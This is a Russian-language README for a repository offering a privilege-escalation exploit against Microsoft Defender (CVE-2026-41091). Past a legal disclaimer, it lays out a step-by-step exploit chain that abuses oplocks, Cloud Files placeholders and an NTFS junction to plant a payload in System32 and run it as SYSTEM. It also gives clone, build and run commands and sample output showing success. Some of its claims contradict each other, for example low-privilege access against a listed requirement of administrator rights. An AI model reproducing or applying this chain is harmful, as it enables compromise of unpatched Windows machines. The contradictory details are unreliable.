CVE-2026-41091 RedSun | Эксплойт LPE для Microsoft Defender. Пользователи с низкими привилегиями получают NT AUTHORITY\SYSTEM 🔥 через Cloud Files API и трюки с NTFS junction. Заставляет Defender записывать вредоносные полезные нагрузки в System32 с правами SYSTEM. ⚠️ Активно эксплуатируется в дикой природе. CVSS 7.8. Патч: Defender Engine 1.1.26040.8. 🛡️ Только образовательный PoC.
# CVE-2026-41091 - RedSun (SolarFlare) - Набор эксплойтов для локального повышения привилегий в Microsoft Defender
[](https://isocpp.org/)
[](https://www.microsoft.com/windows)
[](LICENSE)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-41091)
[](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
## > Правовая оговорка и ответственное использование
**Этот инструмент предоставляется исключительно в образовательных целях и для авторизованного тестирования на проникновение.**
Авторы и участники не несут ответственности за любое неправомерное использование или ущерб, причинённый этим программным обеспечением. Пользователи несут полную ответственность за получение явного письменного разрешения от владельца целевой системы перед тестированием. Несанкционированный доступ к компьютерным системам является незаконным в соответствии с применимыми федеральными, региональными и международными законами о киберпреступности.
Используя это программное обеспечение, вы соглашаетесь:
- Использовать его только в системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
- Соблюдать все применимые местные, региональные и федеральные законы.
- Не использовать его для каких-либо вредоносных, разрушительных или незаконных действий.
> [!] **ВНИМАНИЕ:** Уязвимости повышения привилегий в Active Directory представляют высокий риск для корпоративной инфраструктуры. Несанкционированное тестирование строго запрещено.
> **Уязвимость следования по ссылкам в Microsoft Defender** — локальное повышение привилегий до NT AUTHORITY\SYSTEM
### Уязвимость известна как "RedSun", "SolarFlare" — это название, которое я дал своему эксплойту.
## [<] Обзор
Этот репозиторий содержит **полноценный рабочий Proof of Concept (PoC)** эксплойт для **CVE-2026-41091** — критической уязвимости локального повышения привилегий в Microsoft Defender (Microsoft Malware Protection Engine). Эксплуатируя некорректное разрешение ссылок (CWE-59), аутентифицированный атакующий с низкими привилегиями может получить привилегии **NT AUTHORITY\SYSTEM**.
Уязвимость, также известная как **"RedSun"** или **"SolarFlare"**, позволяет атакующим обмануть Microsoft Defender, заставив его записывать произвольные файлы в защищённые системные расположения с привилегиями SYSTEM, используя Cloud Files API (CfAPI) и точки соединения NTFS.
> **Примечание:** Этот репозиторий включает две версии:
> - `basic_poc.cpp` — упрощённая демонстрация алгоритма (образовательная)
> - `full_poc.cpp` — полный рабочий эксплойт со всеми возможностями
### [-<] Ключевые возможности
| Категория | Возможность | `basic_poc.cpp` | `full_poc.cpp` |
|----------|---------|:---------------:|:--------------:|
| **Эксплуатация** | Локальное повышение привилегий до SYSTEM | `[+]` | `[+]` |
| | Интеграция Cloud Files API (CfAPI) | `[-]` | `[+]` |
| | Создание облачных заполнителей (Cloud Placeholder) | `[-]` | `[+]` |
| | Перенаправление через точки соединения NTFS | `[~]` | `[+]` |
| | Активация COM-сервиса | `[-]` | `[+]` |
| **Техники** | Злоупотребление пакетными оплок-блокировками | `[+]` | `[+]` |
| | Обнаружение снимков VSS | `[+]` | `[+]` |
| | Триггер EICAR | `[+]` | `[+]` |
| | Точка повторной обработки NTFS (точка монтирования) | `[+]` | `[+]` |
| | Удаление файла (NtSetInformationFile) | `[-]` | `[+]` |
| | Определение идентификатора сессии через именованный канал | `[-]` | `[+]` |
| | Запуск в консольной сессии (conhost.exe) | `[-]` | `[+]` |
| | WaitOnAddress / WakeByAddress | `[-]` | `[+]` |
| | Проверка SYSTEM | `[-]` | `[+]` |
| **Цель** | Microsoft Defender < 1.1.26040.8 | `[+]` | `[+]` |
| | Windows 10/11 | `[+]` | `[+]` |
| | Windows Server 2016 | `[+]` | `[+]` |
| | Windows Server 2019/2022 | `[+]` | `[+]` |
| | Только x64 | `[+]` | `[+]` |
| **Удобство использования** | Структурированное логирование | `[~]` | `[+]` |
| | Обработка ошибок | `[~]` | `[+]` |
| | Случайные имена каталогов | `[+]` | `[+]` |
| | Автоматическая очистка | `[~]` | `[+]` |
| | Логика повторных попыток (NtCreateFile) | `[-]` | `[+]` |
## [i] Подробности уязвимости
| Атрибут | Значение |
|-----------|-------|
| **CVE ID** | CVE-2026-41091 |
| **Оценка CVSS** | 7.8 (высокая) |
| **Вектор CVSS** | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| **Вектор атаки** | Локальный |
| **Требуемые привилегии** | Низкие |
| **Взаимодействие с пользователем** | Отсутствует |
| **Воздействие** | Выполнение кода на уровне SYSTEM |
| **CISA KEV** | [+] Да (активно эксплуатируется в реальных атаках) |
| **Доступно исправление** | Microsoft Malware Protection Engine 1.1.26040.8 |
### [c] Затронутые продукты
| Продукт | Затронутые версии | Исправленные версии |
|---------|-------------------|----------------|
| Microsoft Malware Protection Engine | < 1.1.26040.8 | 1.1.26040.8+ |
| Microsoft Defender Antimalware Platform | < 4.18.26040.7 | 4.18.26040.7+ |
## [<\>] Цепочка эксплуатации
```
┌─────────────────────────────────────────────────────────────────────────────
│ SOLARFLARE EXPLOIT CHAIN
├─────────────────────────────────────────────────────────────────────────────
│
│ 1. Create Working Directory
│ └─> %TEMP%\SF-XXXX\
│
│ 2. Trigger Defender with EICAR
│ └─> Write reversed EICAR to bait file
│
│ 3. Wait for VSS Snapshot
│ └─> Detect Volume Shadow Copy creation
│
│ 4. Create First Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file
│
│ 5. Wait for Oplock Break
│ └─> Acquire exclusive access
│
│ 6. Rename Directory
│ └─> Move original directory to .tmp
│
│ 7. Register Cloud Sync Root
│ └─> CfRegisterSyncRoot with Cloud Files API
│
│ 8. Create Cloud Placeholder
│ └─> CfCreatePlaceholders for bait file
│
│ 9. Create Second Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder
│
│ 10. Wait for Second Oplock Break
│ └─> Acquire exclusive access
│
│ 11. Rename Cloud Directory
│ └─> Move cloud directory to .cloud.tmp
│
│ 12. Create NTFS Junction to System32
│ └─> Redirect to C:\Windows\System32
│
│ 13. Copy Payload to System32
│ └─> Copy bait file to System32 as TieringEngineService.exe
│
│ 14. Activate Service as SYSTEM
│ └─> CoCreateInstance(StorageTiersManagement)
│
└─────────────────────────────────────────────────────────────────────────────
```
## [+] Установка
### Предварительные требования
- Windows 10/11 или Windows Server 2019/2022
- Visual Studio 2019/2022 с инструментами C++
- Права администратора (для выполнения)
### Сборка
```bash
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit
# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
## [+] Использование
### Полный эксплойт (повышение привилегий до SYSTEM)
```bash
full_poc.exe
```
### Демонстрация базового алгоритма
```bash
basic_poc.exe
```
## [i] Пример вывода
### Полный вывод эксплойта
```text
CVE-2026-41091 SolarFlare PoC
===============================
by @tc4dy | CVSS 7.8
===============================
[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM
[+] SYSTEM access obtained!
```
### Базовый вывод PoC
```text
CVE-2026-41091 Basic PoC
========================================
Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe
[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.
```
## [<>] Инструкции по сборке
### Использование Visual Studio
1. Откройте Developer Command Prompt for VS 2022
2. Перейдите в каталог эксплойта
3. Выполните:
```batch
# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
### Использование CMake
```cmake
cmake_minimum_required(VERSION 3.10)
project(SolarFlare)
set(CMAKE_CXX_STANDARD 17)
add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)
add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)
```
## [!] Требования и ограничения
| Требование | Подробности |
|-------------|---------|
| **ОС** | Windows 10/11, Server 2019/2022 |
| **Привилегии** | Административные (для выполнения) |
| **Defender** | Microsoft Defender должен быть включён |
| **Интернет** | Требуется для обнаружения снимков VSS |
| **Патч** | Работает только на неисправленных системах |
| **Архитектура** | Только x64 |
## Связанные эксплойты
Ознакомьтесь с другими моими репозиториями эксплойтов:
- [CVE-2026-24061-PoC-Exploit](https://github.com/tc4dy/CVE-2026-24061-PoC-Exploit) — обход аутентификации в GNU inetutils-telnetd
- [CVE-2026-41940-PoC-Exploit](https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit) — эксплойт обхода аутентификации в cPanel/WHM
- [CVE-2026-0073-PoC-Exploit](https://github.com/tc4dy/CVE-2026-0073-PoC-Exploit) — обход аутентификации при беспроводной отладке Android ADB